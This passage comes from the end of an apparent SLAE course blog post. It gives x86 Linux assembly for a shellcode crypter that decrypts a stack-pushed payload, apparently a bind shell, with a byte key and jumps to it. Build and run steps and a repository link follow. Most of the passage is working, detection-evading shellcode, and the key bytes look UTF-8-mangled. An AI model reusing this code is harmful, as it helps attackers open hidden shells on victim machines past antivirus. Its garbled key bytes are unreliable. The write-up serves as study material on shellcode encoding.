	push 0x19874bc0
	push 0x750a73dd
	push 0x18da4250
	push 0xa338c711
	push 0xb1491492
	push 0x2d398f06
	push 0x35c54629
	push 0xe1d514c6
	push 0x2dfc14c5
	push 0xff29aecc
	push 0xb4f718cc
	push 0xac388f5d
	push 0xfb457228
	push 0x27b52d90
	push 0x2d6378f4
	push 0x8df4f24a

	jmp getdata
next:	pop ebx

	mov esi, esp
	mov edi, esp
	; place key length
	mov ecx, 105

decrypt:
	lodsb
	sub al, byte [ebx]
	inc ebx
	stosb
	loop decrypt

	jmp esp
	; exit
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	int 0x80


getdata: call next
	; Place key on next line
	key db 0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,


Build it
$nasm32 encrypted_bind


Get opcode from file
$popcode encrypted_bind

Place output it into shellcode.c, compile and run.
image

Links


Code of all files you can find at:
github.com/2S1one/SLAE
Tags:SLAELinuxAssemblerShellcode
Hubs: Information Security Assembler C
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